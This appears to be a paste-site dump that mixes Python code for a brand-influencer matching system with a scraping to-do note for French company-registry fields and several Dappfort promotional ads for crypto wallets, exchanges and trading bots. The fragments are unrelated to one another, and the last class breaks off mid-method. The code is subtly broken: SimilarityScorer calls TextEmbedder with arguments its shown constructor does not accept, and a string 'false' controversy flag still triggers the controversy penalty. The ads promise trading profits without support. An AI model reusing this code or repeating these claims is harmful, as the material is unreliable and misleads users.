                    # Fallback if content analyzer method not available
                    title_word_set = set()
                    title_word_count = 0
                    
                    for title in channel_videos['title']:
                        if isinstance(title, str):
                            words = re.findall(r'\b\w+\b', title.lower())
                            title_word_set.update(words)
                            title_word_count += len(words)
                    
                    title_uniqueness = len(title_word_set) / max(1, title_word_count)
                    content_originality_score = round(min(0.99, max(0.1, 0.5 + title_uniqueness * 0.4)), 2)
                
                # Calculate comment authenticity score
                if not comments.empty and 'channel_comments' in locals() and not channel_comments.empty:
                    unique_commenters = len(channel_comments['author'].unique())
                    total_comments = len(channel_comments)
                    if total_comments > 0:
                        # Calculate ratio of unique commenters to total comments
                        uniqueness_ratio = unique_commenters / total_comments
                        
                        comment_authenticity_score = round(min(0.99, max(0.1, 0.3 + uniqueness_ratio * 0.6)), 2)
                    else:
                        comment_authenticity_score = 0.5
                else:
                    comment_authenticity_score = 0.5
                
                # Get subscriber count for cost estimation
                subscriber_count = channel.get('subscriber_count', 0)
                if not isinstance(subscriber_count, (int, float)) or pd.isna(subscriber_count):
                    subscriber_count = 0
                
                # Calculate cost per post
                cost_per_post = round(self._estimate_cost_per_post(subscriber_count, engagement_rate_formatted))
                
                # Determine negotiation flexibility
                try:
                    channel_age_days = (datetime.now() - pd.to_datetime(channel['published_at'])).days
                    
                    # New channels or very active ones tend to be more flexible
                    if channel_age_days < 365 or post_frequency > 8:
                        negotiation_flexibility = "flexible"
                    # Well-established channels with high engagement tend to be strict
                    elif channel_age_days > 1825 and engagement_rate > 5:
                        negotiation_flexibility = "strict"
                    # Moderate flexibility for channels with good engagement
                    elif engagement_rate > 3:
                        negotiation_flexibility = "medium"
                    else:
                        negotiation_flexibility = "negotiable"
                except:
                    # Default if we can't calculate
                    negotiation_flexibility = "negotiable"
                
                # Calculate historical performance
                if subscriber_count > 0:
                    historical_perf = round(min(0.99, avg_views / subscriber_count), 2)
                else:
                    # Fallback based on engagement rate
                    historical_perf = round(min(0.99, max(0.01, engagement_rate_formatted * 10)), 2)
                
                # Check for controversy flags
                controversy_flag = "false"
                if 'like_count' in channel_videos.columns and 'dislike_count' in channel_videos.columns:
                    # YouTube API doesn't expose dislikes anymore, but keeping this code for future reference
                    total_likes = channel_videos['like_count'].sum()
                    total_dislikes = channel_videos['dislike_count'].sum() if 'dislike_count' in channel_videos.columns else 0
                    
                    if total_likes + total_dislikes > 0:
                        dislike_ratio = total_dislikes / (total_likes + total_dislikes)
                        if dislike_ratio > 0.25:  # More than 25% dislikes indicates controversy
                            controversy_flag = "true"
                
                # Check compliance status
                compliance_status = "verified"
                if any(channel_videos['made_for_kids'] == True) and any(title.lower().find('adult') >= 0 for title in channel_videos['title'] if isinstance(title, str)):
                    # Potential mismatch between content marking and actual content
                    compliance_status = "review_needed"
                
                # Create influencer entry
                influencer = {
                    "influencer_id": influencer_id,
                    "name": str(channel.get('title', f"Channel {channel_id}")),
                    "platform": platform,
                    "location": country_name,
                    "languages": language_name,
                    "category_niche": category_niche,
                    "follower_count": int(subscriber_count),
                    "audience_demographics": audience_type,
                    "engagement_rate": engagement_rate_formatted,
                    "audience_interests": audience_interests_str,
                    "content_types": content_types,
                    "post_frequency_month": round(post_frequency, 1),
                    "avg_views": int(avg_views),
                    "collaboration_count": collaboration_count,
                    "sponsored_ratio": round(sponsored_ratio, 2),
                    "reputation_score": reputation_score,
                    "follower_quality_score": follower_quality_score,
                    "content_originality_score": content_originality_score,
                    "comment_authenticity_score": comment_authenticity_score,
                    "cost_per_post": int(cost_per_post),
                    "negotiation_flexibility": negotiation_flexibility,
                    "historical_performance": historical_perf,
                    "controversy_flag": controversy_flag,
                    "compliance_status": compliance_status
                }
                
                influencer_data.append(influencer)
                logger.info(f"Processed influencer: {influencer['name']} ({influencer_id})")
            except Exception as e:
                logger.error(f"Error processing channel {channel.get('channel_id')}: {str(e)}")
                logger.error(traceback.format_exc())
        
        if not influencer_data:
            logger.warning("No influencer data was generated")
            # Return empty DataFrame with expected columns
            return pd.DataFrame(columns=[
                "influencer_id", "name", "platform", "location", "languages", 
                "category_niche", "follower_count", "audience_demographics",
                "engagement_rate", "audience_interests", "content_types", 
                "post_frequency_month", "avg_views", "collaboration_count",
                "sponsored_ratio", "reputation_score", "follower_quality_score",
                "content_originality_score", "comment_authenticity_score",
                "cost_per_post", "negotiation_flexibility", "historical_performance",
                "controversy_flag", "compliance_status"
            ])
        
        return pd.DataFrame(influencer_data)
    
    def _extract_content_types(self, videos_df: pd.DataFrame) -> List[str]:
       
        content_type_keywords = {
            'review': ['review', 'unboxing', 'first look', 'hands-on'],
            'tutorial': ['tutorial', 'how to', 'guide', 'tips', 'learn'],
            'gameplay': ['gameplay', 'playthrough', 'gaming', 'let\'s play'],
            'vlog': ['vlog', 'day in the life', 'follow me'],
            'interview': ['interview', 'qa', 'q&a', 'questions'],
            'reaction': ['reaction', 'reacting to', 'react'],
            'podcast': ['podcast', 'talk show', 'discussion'],
            'education': ['explained', 'educational', 'learn', 'course'],
            'lifestyle': ['lifestyle', 'routine', 'tour'],
            'recipes': ['recipe', 'cooking', 'baking', 'food'],
            'workout': ['workout', 'exercise', 'fitness', 'training']
        }
        
        content_types_count = {ct: 0 for ct in content_type_keywords}
        
       
        for _, video in videos_df.iterrows():
            title = video.get('title', '').lower() if isinstance(video.get('title'), str) else ''
            description = video.get('description', '').lower() if isinstance(video.get('description'), str) else ''
            
            for content_type, keywords in content_type_keywords.items():
                for keyword in keywords:
                    if keyword in title or keyword in description:
                        content_types_count[content_type] += 1
                        break
        
      
        top_content_types = sorted(content_types_count.items(), key=lambda x: x[1], reverse=True)
        return [ct for ct, count in top_content_types if count > 0][:3]
    
    def _estimate_cost_per_post(self, followers: int, engagement_rate: float) -> float:
        
        try:
          
            followers = int(followers) if pd.notnull(followers) else 0
            engagement_rate = float(engagement_rate) if pd.notnull(engagement_rate) else 0
            
           
            if followers < 10000:  
                base_cost = 20 + (followers / 10000) * 80
            elif followers < 100000: 
                base_cost = 100 + (followers - 10000) * (400 / 90000)
            elif followers < 500000:  
                base_cost = 500 + (followers - 100000) * (4500 / 400000)
            elif followers < 1000000: 
                base_cost = 5000 + (followers - 500000) * (5000 / 500000)
            else: 
                base_cost = 10000 + (followers - 1000000) * 0.005
            
           
            avg_engagement = 0.02 
            
            if engagement_rate > 0:
                engagement_multiplier = max(0.5, min(3.0, engagement_rate / avg_engagement))
            else:
                engagement_multiplier = 0.5
            
            return base_cost * engagement_multiplier
        except Exception as e:
            logger.error(f"Error estimating cost per post: {str(e)}")
            return 100 

import numpy as np
import pandas as pd
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.preprocessing import MinMaxScaler
from typing import Dict, List, Tuple, Set
import logging
from ..models.text_embedder import TextEmbedder
from ..database.db_connector import DatabaseConnector

logger = logging.getLogger(__name__)

class SimilarityScorer:
    def __init__(self, config: Dict):
        self.config = config
        self.similarity_weights = config['similarity_weights']
        self.related_categories = {
            k: set(v) for k, v in config['category_relationships'].items()
        }
        self.related_audiences = {
            k: set(v) for k, v in config['audience_relationships'].items()
        }
        self.scaler = MinMaxScaler()
        
        # Initialize the text embedder
        self.text_embedder = TextEmbedder(
            gemini_api_key=config['text_embedding'].get('gemini_api_key'), 
            pinecone_config={
                'api_key': config.get('pinecone', {}).get('api_key', ''),
                'index_name': config.get('pinecone', {}).get('index_name', 'recommendationsystempro'),
                'namespace': config.get('pinecone', {}).get('namespace', 'influencer-matching')
            }
        )
        
        # Initialize database connector if database config exists
        self.db_connector = None
        if 'database' in self.config:
            try:
                self.db_connector = DatabaseConnector(self.config)
            except Exception as e:
                logger.warning(f"Could not initialize database connection: {str(e)}")

    def _get_related_categories(self, category: str) -> Set[str]:
        category = category.lower()
        for main_cat, related in self.related_categories.items():
            if category in related or category == main_cat:
                return related | {main_cat}
        return set()

    def _calculate_category_similarity_embedding(self, brand: pd.Series, influencer: pd.Series) -> float:
        try:
            # Extract category-related information
            brand_industry = str(brand.get('industry', '')).lower()
            brand_alignment = str(brand.get('category_alignment', '')).lower()
            influencer_niche = str(influencer.get('category_niche', '')).lower()
            
            # Combine the category data with descriptive context
            brand_category_text = f"Brand industry: {brand_industry}. Brand category alignment: {brand_alignment}"
            influencer_category_text = f"Influencer category/niche: {influencer_niche}"
            
            # Use the text embedder to get embedding vectors
            brand_embedding = self.text_embedder.get_embedding(brand_category_text)
            influencer_embedding = self.text_embedder.get_embedding(influencer_category_text)
            
            # Calculate cosine similarity between the embedding vectors
            similarity = cosine_similarity(
                brand_embedding.reshape(1, -1),
                influencer_embedding.reshape(1, -1)
            )[0][0]
            
            # Apply a power transformation to enhance differentiation between scores
            # This gives more weight to higher similarities
            adjusted_similarity = similarity ** 0.7
            
            logger.info(f"Embedding-based category similarity score: {adjusted_similarity:.2f} for {brand_industry}/{brand_alignment} -> {influencer_niche}")
            return float(adjusted_similarity)
                
        except Exception as e:
            logger.warning(f"Error using embeddings for category similarity: {str(e)}, falling back to rule-based method")
            return self._calculate_category_similarity_rule_based(brand, influencer)

    def _calculate_category_similarity_rule_based(self, brand: pd.Series, influencer: pd.Series) -> float:
        brand_categories = set(str(brand.get('industry', '')).lower().split('/'))
        brand_alignment = set(str(brand.get('category_alignment', '')).lower().split('/'))
        influencer_categories = set(str(influencer.get('category_niche', '')).lower().split('/'))
        
        expanded_brand_cats = set()
        for cat in brand_categories | brand_alignment:
            expanded_brand_cats.update(self._get_related_categories(cat))
        
        expanded_influencer_cats = set()
        for cat in influencer_categories:
            expanded_influencer_cats.update(self._get_related_categories(cat))
        
        direct_matches = len(brand_categories.intersection(influencer_categories))
        alignment_matches = len(brand_alignment.intersection(influencer_categories))
        related_matches = len(expanded_brand_cats.intersection(expanded_influencer_cats))
        
        score = (
            direct_matches * 0.6 +
            alignment_matches * 0.3 +
            related_matches * 0.1
        ) / max(len(brand_categories), 1)
        
        if direct_matches == 0 and alignment_matches == 0:
            score *= 0.2
        
        return score

    def _calculate_category_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        # Try the embedding-based approach first, fallback to rule-based if it fails
        return self._calculate_category_similarity_embedding(brand, influencer)

    def _calculate_audience_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        brand_audience = str(brand.get('target_audience', '')).lower()
        influencer_audience = str(influencer.get('audience_demographics', '')).lower()
        
        demographic_match = float(brand_audience in influencer_audience or 
                                influencer_audience in brand_audience)
        
        related_match = 0.0
        for main_audience, related in self.related_audiences.items():
            if (brand_audience in {a.lower() for a in related | {main_audience}} and
                influencer_audience in {a.lower() for a in related | {main_audience}}):
                related_match = 0.7
                break
        
        brand_geo = str(brand.get('geographic_target', '')).lower()
        influencer_loc = str(influencer.get('location', '')).lower()
        geo_match = float(
            brand_geo in influencer_loc or
            influencer_loc in brand_geo or
            brand_geo == 'global' or
            (brand_geo == 'north america' and influencer_loc in ['usa', 'canada'])
        )
        
        brand_lang = set(str(brand.get('language_preferences', '')).lower().split('/'))
        influencer_lang = set(str(influencer.get('languages', '')).lower().split('/'))
        lang_match = len(brand_lang.intersection(influencer_lang)) / max(len(brand_lang), 1)
        
        audience_score = max(demographic_match, related_match) * 0.5 + geo_match * 0.3 + lang_match * 0.2
        
        return audience_score

    def _safe_float(self, value, default=0.0) -> float:
        try:
            result = float(value)
            return result if result != 0 else default
        except (ValueError, TypeError):
            return default

    def _safe_division(self, numerator, denominator, default=0.0) -> float:
        num = self._safe_float(numerator)
        den = self._safe_float(denominator)
        if den == 0:
            return default
        return num / den

    def _calculate_numerical_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        scores = []
        
        min_followers = self._safe_float(brand.get('min_follower_range'), 1.0)
        actual_followers = self._safe_float(influencer.get('follower_count'), 0.0)
        if actual_followers < min_followers:
            return 0.0
        
        follower_ratio = self._safe_division(actual_followers, min_followers, 0.0)
        scores.append(min(follower_ratio, 2.0))
        
        min_engagement = self._safe_float(brand.get('min_engagement_rate'), 0.01)
        actual_engagement = self._safe_float(influencer.get('engagement_rate'), 0.0)
        if actual_engagement < min_engagement:
            return 0.0
        
        engagement_ratio = self._safe_division(actual_engagement, min_engagement, 0.0)
        scores.append(min(engagement_ratio, 2.0))
        
        posts_per_campaign = self.config['matching']['posts_per_campaign']
        campaign_budget = self._safe_float(brand.get('campaign_budget'), 0.0)
        cost_per_post = self._safe_float(influencer.get('cost_per_post'), float('inf'))
        if cost_per_post * posts_per_campaign > campaign_budget:
            return 0.0
        
        if campaign_budget > 0 and cost_per_post < float('inf'):
            budget_ratio = campaign_budget / (cost_per_post * posts_per_campaign)
            scores.append(min(budget_ratio, 2.0))
        
        if not scores:
            return 0.0
        
        average_score = np.mean(scores)
        return min(average_score, 1.0)

    def _calculate_compliance_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        requires_controversy_free = brand.get('requires_controversy_free', False)
        controversy_flag = influencer.get('controversy_flag', True)
        compliance_status = str(influencer.get('compliance_status', '')).lower()
        
        if requires_controversy_free and controversy_flag:
            return 0.0
        
        controversy_match = not (requires_controversy_free and controversy_flag)
        compliance_match = compliance_status == 'verified'
        
        return (float(controversy_match) + float(compliance_match)) / 2

    def calculate_similarity_matrix(self, brands_features: pd.DataFrame, 
                                 influencers_features: pd.DataFrame) -> np.ndarray:
        similarity_matrix = np.zeros((len(brands_features), len(influencers_features)))
        text_similarity_matrix = np.zeros((len(brands_features), len(influencers_features)))
        
        for i, brand in brands_features.iterrows():
            brand_text = self.text_embedder.get_brand_text_features(brand)
            for j, influencer in influencers_features.iterrows():
                influencer_text = self.text_embedder.get_influencer_text_features(influencer)
                text_similarity = self.text_embedder.calculate_text_similarity(brand_text, influencer_text)
                text_similarity_matrix[brands_features.index.get_loc(i),
                                    influencers_features.index.get_loc(j)] = text_similarity

        for i, brand in brands_features.iterrows():
            for j, influencer in influencers_features.iterrows():
                category_score = self._calculate_category_similarity(brand, influencer)
                audience_score = self._calculate_audience_similarity(brand, influencer)
                numerical_score = self._calculate_numerical_similarity(brand, influencer)
                compliance_score = self._calculate_compliance_similarity(brand, influencer)
                
                traditional_score = (
                    category_score * self.similarity_weights['category'] +
                    audience_score * self.similarity_weights['audience'] +
                    numerical_score * self.similarity_weights['numerical'] +
                    compliance_score * self.similarity_weights['compliance']
                )
                
                if numerical_score == 0.0:
                    traditional_score = 0.0
                elif category_score < 0.3:
                    traditional_score *= 0.5
                
                text_score = text_similarity_matrix[brands_features.index.get_loc(i),
                                                 influencers_features.index.get_loc(j)]
                
                final_score = 0.5 * traditional_score + 0.5 * text_score
                
                similarity_matrix[brands_features.index.get_loc(i),
                                influencers_features.index.get_loc(j)] = final_score
        
        max_score = similarity_matrix.max()
        if max_score > 0:
            similarity_matrix = similarity_matrix / max_score
            similarity_matrix = np.where(similarity_matrix > 0.95, 0.95, similarity_matrix)
        
        return similarity_matrix

    def get_top_matches(self, similarity_matrix: np.ndarray,
                       brands_df: pd.DataFrame,
                       influencers_df: pd.DataFrame) -> List[Tuple[str, str, float]]:
        matches = []
        top_n = self.config['matching']['top_n']
        min_similarity = self.config['matching']['similarity_threshold']
        
        for i, brand in brands_df.iterrows():
            brand_matches = []
            for j, influencer in influencers_df.iterrows():
                category_score = self._calculate_category_similarity(brand, influencer)
                audience_score = self._calculate_audience_similarity(brand, influencer)
                numerical_score = self._calculate_numerical_similarity(brand, influencer)
                compliance_score = self._calculate_compliance_similarity(brand, influencer)
                
                traditional_score = (
                    category_score * self.similarity_weights['category'] +
                    audience_score * self.similarity_weights['audience'] +
                    numerical_score * self.similarity_weights['numerical'] +
                    compliance_score * self.similarity_weights['compliance']
                )
                
                brand_text = self.text_embedder.get_brand_text_features(brand)
                influencer_text = self.text_embedder.get_influencer_text_features(influencer)
                text_score = self.text_embedder.calculate_text_similarity(brand_text, influencer_text)
                
                final_score = 0.5 * traditional_score + 0.5 * text_score
                
                if numerical_score == 0.0:
                    final_score = 0.0
                elif category_score < self.config['matching']['min_category_score']:
                    final_score *= self.config['matching']['category_penalty']
                
                if final_score >= min_similarity:
                    brand_matches.append((
                        brand.name,
                        influencer.name,
                        round(final_score, 3)
                    ))
            
            brand_matches.sort(key=lambda x: x[2], reverse=True)
            matches.extend(brand_matches[:top_n])
        
        return matches
    
    def save_matches_to_database(self, matches: List[Tuple[str, str, float]]) -> bool:
        if not self.db_connector:
            logger.error("Database connector not available. Cannot save matches.")
            return False
        
        try:
            match_data = []
            for brand_id, influencer_id, score in matches:
                match_data.append({
                    'brand_id': brand_id,
                    'influencer_id': influencer_id,
                    'similarity_score': score
                })
            
            self.db_connector.execute_query("""
            CREATE TABLE IF NOT EXISTS matches (
                id INT AUTO_INCREMENT PRIMARY KEY,
                brand_id VARCHAR(50),
                influencer_id VARCHAR(50),
                similarity_score FLOAT,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
            )
            """)
            
            self.db_connector.insert_matches(match_data)
            
            logger.info(f"Saved {len(matches)} matches to database")
            return True
        except Exception as e:
            logger.error(f"Error saving matches to database: {str(e)}")
            return False

Задачи:
1) изучить bs4, yaml
2) поставить yaml в bs4
--------------
Scrapping:
===========================
Identite
===========================
Dénomination - Название патента
SIREN (siège)
Date d'immatriculation au RNE
Début d’activité
(+-)Date de la première clôture
(*)Nature de l'entreprise
(*)Forme juridique
Date de fin de la personne morale
Date de clôture
Forme juridique
Activité principale
Code APE
Capital social
Adresse du siège
(+-)Complément de localisation/Distribution spéciale
===========================
Représentants
=========================
Nom, Prénom(s)
(+-)Nom d'usage
Qualité
Date de naissance (mm/aaaa)
Commune de résidence
=======================
Établissements
====================
Type d'établissement
Date début d’activité
Siret
(+-)Nom commercial
(+-)Enseigne
Code APE
Origine du fonds
Nature de l'établissement
Activité principale
Autres Activités
Adresse
==================
Observations
==================
Numéro d'observation
Date d'ajout
Description

Dappfort specializes in BRC20 wallet development, providing businesses with a secure, scalable, and budget-friendly solution for managing BRC-20 tokens. Our development process focuses on optimizing costs while ensuring high security, seamless user experience, and robust functionality.

Key Features:

Affordable Development – Cost-effective solutions tailored to your business needs. 
Secure Asset Management – Advanced encryption and multi-signature security. 
Seamless Transactions – Fast and efficient token transfers on the Bitcoin blockchain. 
User-Friendly Interface – Intuitive design for hassle-free access. 
Scalability & Customization – Adaptable to evolving market demands.

At Dappfort, we ensure your BRC20 wallet is built with cutting-edge technology while keeping development costs under control.

Get in touch to develop a cost-effective BRC20 wallet today!

Instant Reach Experts: 
Visit us : https://www.dappfort.com/cryptocurrency-wallet-development-company/ 
Contact : +91 8838534884 
Mail : sales@dappfort.com

Whether you’re an entrepreneur, trader, or exchange owner, a secure & efficient USDT TRC20 wallet is a must! 💼 Dappfort provides custom-built wallets with TRON blockchain speed, low fees, and top security to keep your funds safe. 

Visit : https://www.dappfort.com/blog/usdt-trc20-wallet/ 

import pandas as pd
import numpy as np
from typing import List, Dict, Tuple
from sentence_transformers import SentenceTransformer
from sentence_transformers.util import cos_sim
import logging


logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

class TextEmbedder:
    def __init__(self, api_key: str = None):
        """
        Initialize TextEmbedder with a sentence-transformer model.
        The api_key parameter is kept for backward compatibility but is not used.
        """
        # Load the sentence transformer model (api_key is not needed, kept for compatibility)
        try:
            # Using thenlper/gte-large model as specified
            self.model = SentenceTransformer('thenlper/gte-large')
            logger.info("Successfully loaded sentence-transformers model: thenlper/gte-large")
        except Exception as e:
            logger.error(f"Error loading sentence-transformers model: {str(e)}")
            raise
        
    def _combine_text_features(self, row: pd.Series, text_columns: List[str]) -> str:
        """
        Combine multiple text columns from a series into a single text feature.
        """
        text_values = []
        for col in text_columns:
            if col in row and pd.notna(row[col]):
                text_values.append(f"{col}: {str(row[col])}")
        return " | ".join(text_values)
    
    def get_brand_text_features(self, brand: pd.Series) -> str:
        """
        Extract relevant text features from brand data.
        """
        text_columns = [
            'industry',
            'target_audience',
            'brand_messaging',
            'tone_voice',
            'category_alignment',
            'brand_alignment_keywords',
            'content_type'
        ]
        return self._combine_text_features(brand, text_columns)
    
    def get_influencer_text_features(self, influencer: pd.Series) -> str:
        """
        Extract relevant text features from influencer data.
        """
        text_columns = [
            'category_niche',
            'audience_demographics',
            'audience_interests',
            'content_types'
        ]
        return self._combine_text_features(influencer, text_columns)
    
    def get_embedding(self, text: str) -> np.ndarray:
        """
        Generate embeddings for a text using thenlper/gte-large model.
        """
        try:
            if not text or text.isspace():
                # Return zero vector if text is empty or only whitespace
                return np.zeros(self.model.get_sentence_embedding_dimension())
                
            # Get embedding from sentence-transformers
            embedding = self.model.encode(text)
            return embedding
        except Exception as e:
            logger.error(f"Error getting embedding: {str(e)}")
            # Return zero vector with the correct dimensions for the model
            return np.zeros(self.model.get_sentence_embedding_dimension())
            
    def calculate_text_similarity(self, brand_text: str, influencer_text: str) -> float:
        """
        Calculate cosine similarity between brand and influencer text using cos_sim.
        """
        if not brand_text or not influencer_text:
            logger.warning("Empty text provided for similarity calculation")
            return 0.0
            
        brand_embedding = self.get_embedding(brand_text)
        influencer_embedding = self.get_embedding(influencer_text)
        
        # Using cos_sim from sentence_transformers.util
        similarity = cos_sim(
            brand_embedding.reshape(1, -1),
            influencer_embedding.reshape(1, -1)
        )[0][0].item()  # Extract the float value from the tensor
        
        return float(similarity)

    def print_detailed_match_analysis(self, brand: pd.Series, influencer: pd.Series, similarity_score: float):
        """
        Print detailed analysis of the match between a brand and influencer.
        """
        print("\n" + "="*80)
      
        print("Brand Details:")
        print(f"  ID: {brand.name}") 
        print(f"  Name: {brand.get('name', 'Unknown Brand')}")
        
        print("\nInfluencer Details:")
        print(f"  ID: {influencer.name}") 
        print(f"  Name: {influencer.get('name', 'Unknown Influencer')}")
        print("-"*80)
        
        print("\nBrand Text Features:")
        brand_text = self.get_brand_text_features(brand)
        for feature in brand_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nInfluencer Text Features:")
        influencer_text = self.get_influencer_text_features(influencer)
        for feature in influencer_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nText Similarity Analysis:")
        print(f"  Score: {similarity_score:.4f}")
        
        print("\nScore Interpretation:")
        if similarity_score >= 0.8:
            print("  Excellent Match (≥0.8):")
            print("  - Very strong text similarity")
            print("  - High potential for successful collaboration")
            print("  - Strong alignment in multiple areas")
        elif similarity_score >= 0.6:
            print("  Good Match (≥0.6):")
            print("  - Significant text similarity")
            print("  - Good potential for collaboration")
            print("  - Notable alignment in key areas")
        elif similarity_score >= 0.4:
            print("  Moderate Match (≥0.4):")
            print("  - Some text similarity")
            print("  - Potential for collaboration with careful consideration")
            print("  - Partial alignment in some areas")
        else:
            print("  Weak Match (<0.4):")
            print("  - Limited text similarity")
            print("  - May need to reconsider match")
            print("  - Limited alignment in key areas")
        
        print("="*80)

    def get_text_similarity_matrix(self, brands_df: pd.DataFrame, 
                                 influencers_df: pd.DataFrame) -> np.ndarray:
        """
        Calculate text similarity matrix between all brands and influencers.
        """
        similarity_matrix = np.zeros((len(brands_df), len(influencers_df)))
        
        print("\nCalculating Text Similarity Scores:")
        print("="*80)
        
        all_scores = []
        
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                similarity_matrix[brands_df.index.get_loc(i),
                                influencers_df.index.get_loc(j)] = similarity
                
                all_scores.append({
                    'brand_id': brand.name, 
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity
                })
                
                self.print_detailed_match_analysis(brand, influencer, similarity)
                
                completed += 1
                if completed % 10 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} comparisons ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        
        print("\nTop 10 Text Similarity Matches:")
        print("="*80)
        print(scores_df[['brand_id', 'brand_name', 'influencer_id', 'influencer_name', 'similarity_score']].head(10).to_string(index=False))
        print("="*80)
        
        return similarity_matrix

    def save_similarity_scores(self, brands_df: pd.DataFrame, 
                             influencers_df: pd.DataFrame,
                             output_path: str):
        """
        Calculate and save all similarity scores to a CSV file.
        """
        all_scores = []
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        logger.info(f"Starting to calculate similarity scores for {total_comparisons} brand-influencer pairs")
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                
                all_scores.append({
                    'brand_id': brand.name,
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity,
                    'brand_text': brand_text,
                    'influencer_text': influencer_text
                })
                
                completed += 1
                if completed % 20 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        scores_df.to_csv(output_path, index=False)
        logger.info(f"Saved detailed similarity scores to {output_path}")

DappFort delivers world-class P2P crypto exchange development, helping businesses enter the digital asset market with confidence. Our platforms feature advanced matching engines, dispute resolution, and AI-driven analytics for seamless trading. With multi-currency and multi-payment support, we enhance user accessibility. Get started today and dominate the crypto exchange industry!

Instant Reach Experts: 
Visit us : https://www.dappfort.com/cryptocurrency-exchange-development-company/
Contact : +91 8838534884 
Mail : sales@dappfort.com

Maximize your crypto gains with Dappfort high-performance Crypto Trading Bot Development services. Our bots integrate with major exchanges, use AI-driven strategies, and provide real-time analytics. Trade smarter, faster, and with reduced risks. Let’s build your profit-generating trading bot now!

Instant Reach Experts:

Contact : +91 8838534884 
Mail : sales@dappfort.com

Transform your trading experience with our powerful Algo Trading Software Development solutions. Our AI-powered algorithms analyze market trends, execute trades with precision, and minimize risks. Whether for crypto, forex, or stocks, we deliver high-performance automation. Boost your profits with algorithmic trading—get started now!
  
Visit us : https://www.dappfort.com/blog/algo-trading-software-development/   

Instant Reach Experts:

Contact : +91 8838534884 
Mail : sales@dappfort.com

import pandas as pd
import numpy as np
from typing import List, Dict, Tuple
from sklearn.metrics.pairwise import cosine_similarity
from sentence_transformers import SentenceTransformer
import logging


logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

class TextEmbedder:
    def __init__(self, api_key: str = None):
        """
        Initialize TextEmbedder with a sentence-transformer model.
        The api_key parameter is kept for backward compatibility but is not used.
        """
        # Load the sentence transformer model (api_key is not needed, kept for compatibility)
        try:
            # all-MiniLM-L6-v2 is a good balance of speed and performance
            self.model = SentenceTransformer('all-MiniLM-L6-v2')
            logger.info("Successfully loaded sentence-transformers model: all-MiniLM-L6-v2")
        except Exception as e:
            logger.error(f"Error loading sentence-transformers model: {str(e)}")
            raise
        
    def _combine_text_features(self, row: pd.Series, text_columns: List[str]) -> str:
        """
        Combine multiple text columns from a series into a single text feature.
        """
        text_values = []
        for col in text_columns:
            if col in row and pd.notna(row[col]):
                text_values.append(f"{col}: {str(row[col])}")
        return " | ".join(text_values)
    
    def get_brand_text_features(self, brand: pd.Series) -> str:
        """
        Extract relevant text features from brand data.
        """
        text_columns = [
            'industry',
            'target_audience',
            'brand_messaging',
            'tone_voice',
            'category_alignment',
            'brand_alignment_keywords',
            'content_type'
        ]
        return self._combine_text_features(brand, text_columns)
    
    def get_influencer_text_features(self, influencer: pd.Series) -> str:
        """
        Extract relevant text features from influencer data.
        """
        text_columns = [
            'category_niche',
            'audience_demographics',
            'audience_interests',
            'content_types'
        ]
        return self._combine_text_features(influencer, text_columns)
    
    def get_embedding(self, text: str) -> np.ndarray:
        """
        Generate embeddings for a text using sentence-transformers.
        """
        try:
            if not text or text.isspace():
                # Return zero vector if text is empty or only whitespace
                return np.zeros(self.model.get_sentence_embedding_dimension())
                
            # Get embedding from sentence-transformers
            embedding = self.model.encode(text)
            return embedding
        except Exception as e:
            logger.error(f"Error getting embedding: {str(e)}")
            # Return zero vector with the correct dimensions for the model
            return np.zeros(self.model.get_sentence_embedding_dimension())
            
    def calculate_text_similarity(self, brand_text: str, influencer_text: str) -> float:
        """
        Calculate cosine similarity between brand and influencer text.
        """
        if not brand_text or not influencer_text:
            logger.warning("Empty text provided for similarity calculation")
            return 0.0
            
        brand_embedding = self.get_embedding(brand_text)
        influencer_embedding = self.get_embedding(influencer_text)
        
        similarity = cosine_similarity(
            brand_embedding.reshape(1, -1),
            influencer_embedding.reshape(1, -1)
        )[0][0]
        
        return float(similarity)

    def print_detailed_match_analysis(self, brand: pd.Series, influencer: pd.Series, similarity_score: float):
        """
        Print detailed analysis of the match between a brand and influencer.
        """
        print("\n" + "="*80)
      
        print("Brand Details:")
        print(f"  ID: {brand.name}") 
        print(f"  Name: {brand.get('name', 'Unknown Brand')}")
        
        print("\nInfluencer Details:")
        print(f"  ID: {influencer.name}") 
        print(f"  Name: {influencer.get('name', 'Unknown Influencer')}")
        print("-"*80)
        
        print("\nBrand Text Features:")
        brand_text = self.get_brand_text_features(brand)
        for feature in brand_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nInfluencer Text Features:")
        influencer_text = self.get_influencer_text_features(influencer)
